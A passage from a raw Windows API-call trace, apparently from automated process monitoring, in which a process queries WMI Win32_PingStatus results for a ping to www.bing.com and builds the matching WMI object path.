(bstr="NoFragmentation") returned 0x1e [0127.011] SysStringByteLen (bstr="NoFragmentation") returned 0x1e [0127.011] SysStringByteLen (bstr="PrimaryAddressResolutionStatus") returned 0x3c [0127.011] SysStringByteLen (bstr="PrimaryAddressResolutionStatus") returned 0x3c [0127.011] SysStringByteLen (bstr="ProtocolAddress") returned 0x1e [0127.011] SysStringByteLen (bstr="ProtocolAddress") returned 0x1e [0127.011] SysStringByteLen (bstr="ProtocolAddressResolved") returned 0x2e [0127.011] SysStringByteLen (bstr="ProtocolAddressResolved") returned 0x2e [0127.011] SysStringByteLen (bstr="RecordRoute") returned 0x16 [0127.011] SysStringByteLen (bstr="RecordRoute") returned 0x16 [0127.011] SysStringByteLen (bstr="ReplyInconsistency") returned 0x24 [0127.011] SysStringByteLen (bstr="ReplyInconsistency") returned 0x24 [0127.012] SysStringByteLen (bstr="ReplySize") returned 0x12 [0127.012] SysStringByteLen (bstr="ReplySize") returned 0x12 [0127.012] SysStringByteLen (bstr="ResolveAddressNames") returned 0x26 [0127.012] SysStringByteLen (bstr="ResolveAddressNames") returned 0x26 [0127.012] SysStringByteLen (bstr="ResponseTime") returned 0x18 [0127.012] SysStringByteLen (bstr="ResponseTime") returned 0x18 [0127.012] SysStringByteLen (bstr="ResponseTimeToLive") returned 0x24 [0127.012] SysStringByteLen (bstr="ResponseTimeToLive") returned 0x24 [0127.012] SysStringByteLen (bstr="RouteRecord") returned 0x16 [0127.012] SysStringByteLen (bstr="RouteRecord") returned 0x16 [0127.012] SysStringByteLen (bstr="RouteRecordResolved") returned 0x26 [0127.012] SysStringByteLen (bstr="RouteRecordResolved") returned 0x26 [0127.012] SysStringByteLen (bstr="SourceRoute") returned 0x16 [0127.012] SysStringByteLen (bstr="SourceRoute") returned 0x16 [0127.012] SysStringByteLen (bstr="SourceRouteType") returned 0x1e [0127.012] SysStringByteLen (bstr="SourceRouteType") returned 0x1e [0127.012] SysStringByteLen (bstr="StatusCode") returned 0x14 [0127.012] SysStringByteLen (bstr="StatusCode") returned 0x14 [0127.012] SysStringByteLen (bstr="Timeout") returned 0xe [0127.012] SysStringByteLen (bstr="Timeout") returned 0xe [0127.012] SysStringByteLen (bstr="TimeStampRecord") returned 0x1e [0127.012] SysStringByteLen (bstr="TimeStampRecord") returned 0x1e [0127.012] SysStringByteLen (bstr="TimeStampRecordAddress") returned 0x2c [0127.012] SysStringByteLen (bstr="TimeStampRecordAddress") returned 0x2c [0127.012] SysStringByteLen (bstr="TimeStampRecordAddressResolved") returned 0x3c [0127.012] SysStringByteLen (bstr="TimeStampRecordAddressResolved") returned 0x3c [0127.012] SysStringByteLen (bstr="TimestampRoute") returned 0x1c [0127.012] SysStringByteLen (bstr="TimestampRoute") returned 0x1c [0127.012] SysStringByteLen (bstr="TimeToLive") returned 0x14 [0127.012] SysStringByteLen (bstr="TimeToLive") returned 0x14 [0127.013] SysStringByteLen (bstr="TypeofService") returned 0x1a [0127.013] SysStringByteLen (bstr="TypeofService") returned 0x1a [0127.013] IWbemClassObject:Get (in: This=0x5ce4808, wszName="Address", lFlags=0, pVal=0x59fe794*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2734f64*=0, plFlavor=0x2734f68*=0 | out: pVal=0x59fe794*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.bing.com", varVal2=0x0), pType=0x2734f64*=8, plFlavor=0x2734f68*=0) returned 0x0 [0127.013] SysStringByteLen (bstr="www.bing.com") returned 0x18 [0127.013] SysStringByteLen (bstr="www.bing.com") returned 0x18 [0127.013] IWbemClassObject:Get (in: This=0x5ce4808, wszName="BufferSize", lFlags=0, pVal=0x59fe794*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2734ffc*=0, plFlavor=0x2735000*=0 | out: pVal=0x59fe794*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x20, varVal2=0x0), pType=0x2734ffc*=19, plFlavor=0x2735000*=0) returned 0x0 [0127.013] IWbemClassObject:Get (in: This=0x5ce4808, wszName="NoFragmentation", lFlags=0, pVal=0x59fe794*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x273506c*=0, plFlavor=0x2735070*=0 | out: pVal=0x59fe794*(varType=0xb, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x273506c*=11, plFlavor=0x2735070*=0) returned 0x0 [0127.013] IWbemClassObject:Get (in: This=0x5ce4808, wszName="PrimaryAddressResolutionStatus", lFlags=0, pVal=0x59fe794*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27352a4*=0, plFlavor=0x27352a8*=0 | out: pVal=0x59fe794*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27352a4*=19, plFlavor=0x27352a8*=0) returned 0x0 [0127.014] IWbemClassObject:Get (in: This=0x5ce4808, wszName="ProtocolAddress", lFlags=0, pVal=0x59fe794*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2735314*=0, plFlavor=0x2735318*=0 | out: pVal=0x59fe794*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="131.253.33.200", varVal2=0x0), pType=0x2735314*=8, plFlavor=0x2735318*=0) returned 0x0 [0127.014] SysStringByteLen (bstr="131.253.33.200") returned 0x1c [0127.014] SysStringByteLen (bstr="131.253.33.200") returned 0x1c [0127.014] IWbemClassObject:Get (in: This=0x5ce4808, wszName="ProtocolAddressResolved", lFlags=0, pVal=0x59fe794*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27353a4*=0, plFlavor=0x27353a8*=0 | out: pVal=0x59fe794*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="", varVal2=0x0), pType=0x27353a4*=8, plFlavor=0x27353a8*=32) returned 0x0 [0127.014] SysStringByteLen (bstr="") returned 0x0 [0127.014] SysStringByteLen (bstr="") returned 0x0 [0127.014] IWbemClassObject:Get (in: This=0x5ce4808, wszName="RecordRoute", lFlags=0, pVal=0x59fe794*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2735408*=0, plFlavor=0x273540c*=0 | out: pVal=0x59fe794*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2735408*=19, plFlavor=0x273540c*=0) returned 0x0 [0127.014] IWbemClassObject:Get (in: This=0x5ce4808, wszName="ReplyInconsistency", lFlags=0, pVal=0x59fe794*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2735504*=0, plFlavor=0x2735508*=0 | out: pVal=0x59fe794*(varType=0xb, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2735504*=11, plFlavor=0x2735508*=0) returned 0x0 [0127.014] IWbemClassObject:Get (in: This=0x5ce4808, wszName="ReplySize", lFlags=0, pVal=0x59fe794*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2735574*=0, plFlavor=0x2735578*=0 | out: pVal=0x59fe794*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x20, varVal2=0x0), pType=0x2735574*=19, plFlavor=0x2735578*=0) returned 0x0 [0127.015] IWbemClassObject:Get (in: This=0x5ce4808, wszName="ResolveAddressNames", lFlags=0, pVal=0x59fe794*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27355e4*=0, plFlavor=0x27355e8*=0 | out: pVal=0x59fe794*(varType=0xb, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27355e4*=11, plFlavor=0x27355e8*=0) returned 0x0 [0127.015] IWbemClassObject:Get (in: This=0x5ce4808, wszName="ResponseTime", lFlags=0, pVal=0x59fe794*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2735654*=0, plFlavor=0x2735658*=0 | out: pVal=0x59fe794*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x26, varVal2=0x0), pType=0x2735654*=19, plFlavor=0x2735658*=0) returned 0x0 [0127.015] IWbemClassObject:Get (in: This=0x5ce4808, wszName="ResponseTimeToLive", lFlags=0, pVal=0x59fe794*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27356c4*=0, plFlavor=0x27356c8*=0 | out: pVal=0x59fe794*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x6f, varVal2=0x0), pType=0x27356c4*=19, plFlavor=0x27356c8*=0) returned 0x0 [0127.015] IWbemClassObject:Get (in: This=0x5ce4808, wszName="RouteRecord", lFlags=0, pVal=0x59fe794*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2735734*=0, plFlavor=0x2735738*=0 | out: pVal=0x59fe794*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2735734*=8200, plFlavor=0x2735738*=32) returned 0x0 [0127.015] IWbemClassObject:Get (in: This=0x5ce4808, wszName="RouteRecordResolved", lFlags=0, pVal=0x59fe794*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2735798*=0, plFlavor=0x273579c*=0 | out: pVal=0x59fe794*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2735798*=8200, plFlavor=0x273579c*=32) returned 0x0 [0127.015] IWbemClassObject:Get (in: This=0x5ce4808, wszName="SourceRoute", lFlags=0, pVal=0x59fe794*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27357fc*=0, plFlavor=0x2735800*=0 | out: pVal=0x59fe794*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="", varVal2=0x0), pType=0x27357fc*=8, plFlavor=0x2735800*=0) returned 0x0 [0127.015] SysStringByteLen (bstr="") returned 0x0 [0127.015] SysStringByteLen (bstr="") returned 0x0 [0127.016] IWbemClassObject:Get (in: This=0x5ce4808, wszName="SourceRouteType", lFlags=0, pVal=0x59fe794*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2735860*=0, plFlavor=0x2735864*=0 | out: pVal=0x59fe794*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2735860*=19, plFlavor=0x2735864*=0) returned 0x0 [0127.016] IWbemClassObject:Get (in: This=0x5ce4808, wszName="StatusCode", lFlags=0, pVal=0x59fe794*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27358d0*=0, plFlavor=0x27358d4*=0 | out: pVal=0x59fe794*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27358d0*=19, plFlavor=0x27358d4*=0) returned 0x0 [0127.016] IWbemClassObject:Get (in: This=0x5ce4808, wszName="Timeout", lFlags=0, pVal=0x59fe794*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2735d78*=0, plFlavor=0x2735d7c*=0 | out: pVal=0x59fe794*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xfa0, varVal2=0x0), pType=0x2735d78*=19, plFlavor=0x2735d7c*=0) returned 0x0 [0127.016] IWbemClassObject:Get (in: This=0x5ce4808, wszName="TimeStampRecord", lFlags=0, pVal=0x59fe794*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2735de8*=0, plFlavor=0x2735dec*=0 | out: pVal=0x59fe794*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2735de8*=8211, plFlavor=0x2735dec*=32) returned 0x0 [0127.016] IWbemClassObject:Get (in: This=0x5ce4808, wszName="TimeStampRecordAddress", lFlags=0, pVal=0x59fe794*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2735e4c*=0, plFlavor=0x2735e50*=0 | out: pVal=0x59fe794*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2735e4c*=8200, plFlavor=0x2735e50*=32) returned 0x0 [0127.016] IWbemClassObject:Get (in: This=0x5ce4808, wszName="TimeStampRecordAddressResolved", lFlags=0, pVal=0x59fe794*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2735eb0*=0, plFlavor=0x2735eb4*=0 | out: pVal=0x59fe794*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2735eb0*=8200, plFlavor=0x2735eb4*=32) returned 0x0 [0127.016] IWbemClassObject:Get (in: This=0x5ce4808, wszName="TimestampRoute", lFlags=0, pVal=0x59fe794*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2735f14*=0, plFlavor=0x2735f18*=0 | out: pVal=0x59fe794*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2735f14*=19, plFlavor=0x2735f18*=0) returned 0x0 [0127.017] IWbemClassObject:Get (in: This=0x5ce4808, wszName="TimeToLive", lFlags=0, pVal=0x59fe794*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2735f84*=0, plFlavor=0x2735f88*=0 | out: pVal=0x59fe794*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x50, varVal2=0x0), pType=0x2735f84*=19, plFlavor=0x2735f88*=0) returned 0x0 [0127.017] IWbemClassObject:Get (in: This=0x5ce4808, wszName="TypeofService", lFlags=0, pVal=0x59fe794*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2736100*=0, plFlavor=0x2736104*=0 | out: pVal=0x59fe794*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2736100*=19, plFlavor=0x2736104*=0) returned 0x0 [0127.021] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__SERVER", lFlags=0, pVal=0x59fe728*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x59fe7ac*=0, plFlavor=0x59fe7a8*=0 | out: pVal=0x59fe728*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x59fe7ac*=8, plFlavor=0x59fe7a8*=64) returned 0x0 [0127.021] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0127.021] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0127.021] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__NAMESPACE", lFlags=0, pVal=0x59fe728*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x59fe7ac*=8, plFlavor=0x59fe7a8*=64 | out: pVal=0x59fe728*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x59fe7ac*=8, plFlavor=0x59fe7a8*=64) returned 0x0 [0127.021] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0127.021] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0127.021] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__CLASS", lFlags=0, pVal=0x59fe728*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x59fe7ac*=8, plFlavor=0x59fe7a8*=64 | out: pVal=0x59fe728*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x59fe7ac*=8, plFlavor=0x59fe7a8*=64) returned 0x0 [0127.021] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0127.021] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0127.022] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x4d8 [0127.022] SetEvent (hEvent=0x3f0) returned 1 [0127.022] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x59fe684*=0x4d8, lpdwindex=0x59fe4a8 | out: lpdwindex=0x59fe4a8) returned 0x0 [0127.103] CoGetContextToken (in: pToken=0x59fe55c | out: pToken=0x59fe55c) returned 0x0 [0127.103] CoGetContextToken (in: pToken=0x59fe4bc | out: pToken=0x59fe4bc) returned 0x0 [0127.103] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdcc18, riid=0x59fe58c*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x59fe588 | out: ppvObject=0x59fe588*=0x5cdcc18) returned 0x0 [0127.103] WbemDefPath:IUnknown:AddRef (This=0x5cdcc18) returned 0x3 [0127.103] WbemDefPath:IUnknown:Release (This=0x5cdcc18) returned 0x2 [0127.103] WbemDefPath:IWbemPath:SetText (This=0x5cdcc18, uMode=0x4, pszPath="") returned 0x0 [0127.103] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x4dc [0127.103] SetEvent (hEvent=0x3f0) returned 1 [0127.103] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x59fe684*=0x4dc, lpdwindex=0x59fe4a8 | out: lpdwindex=0x59fe4a8) returned 0x0 [0127.105] CoGetContextToken (in: pToken=0x59fe55c | out: pToken=0x59fe55c) returned 0x0 [0127.105] CoGetContextToken (in: pToken=0x59fe4bc | out: pToken=0x59fe4bc) returned 0x0 [0127.105] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdcc88, riid=0x59fe58c*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x59fe588 | out: ppvObject=0x59fe588*=0x5cdcc88) returned 0x0 [0127.105] WbemDefPath:IUnknown:AddRef (This=0x5cdcc88) returned 0x3 [0127.105] WbemDefPath:IUnknown:Release (This=0x5cdcc88) returned 0x2 [0127.105] WbemDefPath:IWbemPath:SetText (This=0x5cdcc88, uMode=0x4, pszPath="") returned 0x0 [0127.105] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5cdcc88, puCount=0x59fe728 | out: puCount=0x59fe728*=0x0) returned 0x0 [0127.105] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5cdcc18, puCount=0x59fe728 | out: puCount=0x59fe728*=0x0) returned 0x0 [0127.106] WbemDefPath:IWbemPath:GetClassName (in: This=0x5cdcc88, puBuffLength=0x59fe780*=0x0, pszName=0x0 | out: puBuffLength=0x59fe780*=0x0, pszName=0x0) returned 0x8004103a [0127.106] WbemDefPath:IWbemPath:GetServer (in: This=0x5cdcc88, puNameBufLength=0x59fe77c*=0x0, pName=0x0 | out: puNameBufLength=0x59fe77c*=0x0, pName=0x0) returned 0x80041009 [0127.106] WbemDefPath:IWbemPath:SetServer (This=0x5cdcc88, Name="Q9IATRKPRH") returned 0x0 [0127.106] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x4e0 [0127.106] SetEvent (hEvent=0x3f0) returned 1 [0127.106] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x59fe684*=0x4e0, lpdwindex=0x59fe4a8 | out: lpdwindex=0x59fe4a8) returned 0x0 [0127.109] CoGetContextToken (in: pToken=0x59fe55c | out: pToken=0x59fe55c) returned 0x0 [0127.109] CoGetContextToken (in: pToken=0x59fe4bc | out: pToken=0x59fe4bc) returned 0x0 [0127.109] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdccf8, riid=0x59fe58c*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x59fe588 | out: ppvObject=0x59fe588*=0x5cdccf8) returned 0x0 [0127.109] WbemDefPath:IUnknown:AddRef (This=0x5cdccf8) returned 0x3 [0127.109] WbemDefPath:IUnknown:Release (This=0x5cdccf8) returned 0x2 [0127.109] WbemDefPath:IWbemPath:SetText (This=0x5cdccf8, uMode=0x4, pszPath="root\\cimv2") returned 0x0 [0127.109] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5cdcc88, puCount=0x59fe728 | out: puCount=0x59fe728*=0x0) returned 0x0 [0127.109] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5cdccf8, puCount=0x59fe728 | out: puCount=0x59fe728*=0x2) returned 0x0 [0127.109] WbemDefPath:IWbemPath:GetText (in: This=0x5cdccf8, lFlags=16, puBuffLength=0x59fe724*=0x0, pszText=0x0 | out: puBuffLength=0x59fe724*=0xb, pszText=0x0) returned 0x0 [0127.109] WbemDefPath:IWbemPath:GetText (in: This=0x5cdccf8, lFlags=16, puBuffLength=0x59fe724*=0xb, pszText="0000000000" | out: puBuffLength=0x59fe724*=0xb, pszText="root\\cimv2") returned 0x0 [0127.110] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x5cdcc88) returned 0x0 [0127.110] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5cdccf8, puCount=0x59fe760 | out: puCount=0x59fe760*=0x2) returned 0x0 [0127.110] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x5cdccf8, uIndex=0x0, puNameBufLength=0x59fe75c*=0x0, pName=0x0 | out: puNameBufLength=0x59fe75c*=0x5, pName=0x0) returned 0x0 [0127.110] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x5cdccf8, uIndex=0x0, puNameBufLength=0x59fe75c*=0x5, pName="0000" | out: puNameBufLength=0x59fe75c*=0x5, pName="root") returned 0x0 [0127.110] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x5cdcc88, uIndex=0x0, pszName="root") returned 0x0 [0127.110] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x5cdccf8, uIndex=0x1, puNameBufLength=0x59fe75c*=0x0, pName=0x0 | out: puNameBufLength=0x59fe75c*=0x6, pName=0x0) returned 0x0 [0127.110] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x5cdccf8, uIndex=0x1, puNameBufLength=0x59fe75c*=0x6, pName="00000" | out: puNameBufLength=0x59fe75c*=0x6, pName="cimv2") returned 0x0 [0127.110] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x5cdcc88, uIndex=0x1, pszName="cimv2") returned 0x0 [0127.110] WbemDefPath:IWbemPath:GetClassName (in: This=0x5cdcc88, puBuffLength=0x59fe780*=0x0, pszName=0x0 | out: puBuffLength=0x59fe780*=0x0, pszName=0x0) returned 0x8004103a [0127.110] WbemDefPath:IWbemPath:SetClassName (This=0x5cdcc88, Name="Win32_PingStatus") returned 0x0 [0127.111] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5cdcc88, puCount=0x59fe7c4 | out: puCount=0x59fe7c4*=0x2) returned 0x0 [0127.111] WbemDefPath:IWbemPath:GetText (in: This=0x5cdcc88, lFlags=4, puBuffLength=0x59fe7c0*=0x0, pszText=0x0 | out: puBuffLength=0x59fe7c0*=0x29, pszText=0x0) returned 0x0 [0127.111] WbemDefPath:IWbemPath:GetText (in: This=0x5cdcc88, lFlags=4, puBuffLength=0x59fe7c0*=0x29, pszText="0000000000000000000000000000000000000000" | out: puBuffLength=0x59fe7c0*=0x29, pszText="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus") returned 0x0 [0127.112] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__SERVER", lFlags=0, pVal=0x59fe714*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x59fe798*=0, plFlavor=0x59fe794*=0 | out: pVal=0x59fe714*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x59fe798*=8, plFlavor=0x59fe794*=64) returned 0x0 [0127.112] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0127.112] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0127.112] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__NAMESPACE", lFlags=0, pVal=0x59fe714*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x59fe798*=8, plFlavor=0x59fe794*=64 | out: pVal=0x59fe714*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x59fe798*=8, plFlavor=0x59fe794*=64) returned 0x0 [0127.112] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0127.112] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0127.112] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__CLASS", lFlags=0, pVal=0x59fe714*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x59fe798*=8, plFlavor=0x59fe794*=64 | out: pVal=0x59fe714*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x59fe798*=8, plFlavor=0x59fe794*=64) returned 0x0 [0127.112] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0127.112] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0127.112] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x4e4 [0127.113] SetEvent (hEvent=0x3f0) returned 1 [0127.113] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x59fe670*=0x4e4, lpdwindex=0x59fe494 | out: lpdwindex=0x59fe494) returned 0x0 [0127.115] CoGetContextToken (in: pToken=0x59fe544 | out: pToken=0x59fe544) returned 0x0 [0127.115] CoGetContextToken (in: pToken=0x59fe4a4 | out: pToken=0x59fe4a4) returned 0x0 [0127.115] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdcd68, riid=0x59fe574*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x59fe570 | out: ppvObject=0x59fe570*=0x5cdcd68) returned 0x0 [0127.115] WbemDefPath:IUnknown:AddRef (This=0x5cdcd68) returned 0x3 [0127.115] WbemDefPath:IUnknown:Release (This=0x5cdcd68) returned 0x2 [0127.115] WbemDefPath:IWbemPath:SetText (This=0x5cdcd68, uMode=0x4, pszPath="") returned 0x0 [0127.116] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x4e8 [0127.116] SetEvent (hEvent=0x3f0) returned 1 [0127.116] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x59fe670*=0x4e8, lpdwindex=0x59fe494 | out: lpdwindex=0x59fe494) returned 0x0 [0127.118] CoGetContextToken (in: pToken=0x59fe544 | out: pToken=0x59fe544) returned 0x0 [0127.118] CoGetContextToken (in: pToken=0x59fe4a4 | out: pToken=0x59fe4a4) returned 0x0 [0127.118] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdcdd8, riid=0x59fe574*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x59fe570 | out: ppvObject=0x59fe570*=0x5cdcdd8) returned 0x0 [0127.118] WbemDefPath:IUnknown:AddRef (This=0x5cdcdd8) returned 0x3 [0127.118] WbemDefPath:IUnknown:Release 